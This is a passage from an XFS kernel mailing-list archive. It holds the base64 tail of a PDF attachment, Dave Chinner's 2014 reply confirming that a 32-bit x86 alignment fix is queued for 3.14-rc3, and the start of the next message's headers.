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 aZcorc3+IvVakPIrjLVj/RwzYXq32J0SzsPT03tQk3iyyK2+B+ayE8jZOgtq8ec0g71r53k7XctD 6BfOkfQJR7Q0sT8VnPzp/wDw77qrH4vz/dwz+9WczwnGLxHN8nG3Y6bD4sYwn6B0bA7+blu0OF8w sXjNjY8LxivKxpdO6v8AF3x27tc9znA/r1Ls6KU+2ZojpsWqaY+v2n4f+09xmc1SoWI8L8NBbF3N z3c9kOxMuRmdIwEf5Y/ygb9iCr5GxsbAyNoa0DQAGgF9Rebf1V7UTm7VM4+3pHEfJbTRTR+GBERZ 0hERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAR EQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREB ERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQ EREBERAREQEREH//2QplbmRzdHJlYW0KZW5kb2JqCjIgMCBvYmoKPDwKL1Byb2NTZXQgWy9QREYg L1RleHQgL0ltYWdlQiAvSW1hZ2VDIC9JbWFnZUldCi9Gb250IDw8Cj4+Ci9YT2JqZWN0IDw8Ci9U UEwxIDUgMCBSCj4+Cj4+CmVuZG9iago3IDAgb2JqCjw8Ci9Qcm9kdWNlciAoT25saW5lMlBERi5j b20pCi9DcmVhdG9yIChPbmxpbmUyUERGLmNvbSkKL0NyZWF0aW9uRGF0ZSAoRDoyMDE0MDIxMTE0 MTIzNSkKPj4KZW5kb2JqCjggMCBvYmoKPDwKL1R5cGUgL0NhdGFsb2cKL1BhZ2VzIDEgMCBSCi9P cGVuQWN0aW9uIFszIDAgUiAvWFlaIG51bGwgbnVsbCAxLjAwXQovUGFnZUxheW91dCAvT25lQ29s dW1uCj4+CmVuZG9iagp4cmVmCjAgOQowMDAwMDAwMDAwIDY1NTM1IGYgCjAwMDAwMDAyNzAgMDAw MDAgbiAKMDAwMDExMDA5OCAwMDAwMCBuIAowMDAwMDAwMDA5IDAwMDAwIG4gCjAwMDAwMDAwODcg MDAwMDAgbiAKMDAwMDAwMDM1NyAwMDAwMCBuIAowMDAwMDAwNjkyIDAwMDAwIG4gCjAwMDAxMTAy MDQgMDAwMDAgbiAKMDAwMDExMDMxMSAwMDAwMCBuIAp0cmFpbGVyCjw8Ci9TaXplIDkKL1Jvb3Qg OCAwIFIKL0luZm8gNyAwIFIKPj4Kc3RhcnR4cmVmCjExMDQyMwolJUVPRgo= ------=_NextPart_000_0F0F_01CF2798.3A891B90-- From david@fromorbit.com Tue Feb 11 19:55:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0432F7F50 for ; Tue, 11 Feb 2014 19:55:57 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8B1CEAC014 for ; Tue, 11 Feb 2014 17:55:53 -0800 (PST) X-ASG-Debug-ID: 1392170150-04bdf012202e62e0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id nwJVYUEkxtBeAvdU for ; Tue, 11 Feb 2014 17:55:50 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnAHAM7T+lJ5LJLw/2dsb2JhbABagwy6ZIVQgRUXdIIlAQEFOhwjEAgDGAklDwUlAyETiATKGxcWjmMHhDgElEGDaJIhg0Eo Received: from ppp121-44-146-240.lns20.syd7.internode.on.net (HELO dastard) ([121.44.146.240]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Feb 2014 12:25:49 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WDP3C-0007sV-BN; Wed, 12 Feb 2014 12:55:46 +1100 Date: Wed, 12 Feb 2014 12:55:46 +1100 From: Dave Chinner To: "Michael L. Semon" Cc: xfs-oss Subject: Re: [NOISE] merge window blues, XFS broken Message-ID: <20140212015546.GP13647@dastard> X-ASG-Orig-Subj: Re: [NOISE] merge window blues, XFS broken References: <52E56386.5040802@gmail.com> <20140127015614.GD2212@dastard> <52E62ADA.2040800@gmail.com> <20140127233039.GF2212@dastard> <52E768CF.5040908@gmail.com> <20140128095559.GJ2212@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1392170150 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145040 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Tue, Feb 11, 2014 at 07:15:47PM -0500, Michael L. Semon wrote: > On Tue, 28 Jan 2014, Dave Chinner wrote: > >Ok, so xfs_inode_item_format+0x4a is inside the very first call to > >preapre the ilf structure. That tells us that the initial > >xfs_log_vec/xfs_log_iovec array are resulting in an unaligned > >buffer. > > > >Can you try the patch below, Michael? > > This patch still works fine. This reply is only in hopes that the > patch doesn't get lost for being in a subthread of a [NOISE] post. > I'm having to use this patch quite a bit in order to use XFS at all > on 32-bit x86. It's in xfs-fixes-for-3.14-rc3 anf for-next right now. It'll go upstream in the next couple of days. Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@redhat.com Tue Feb 11 20:16:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 730E57F50 for ; Tue, 11 Feb 2014 20:16:48 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 59D1A30406A for ; 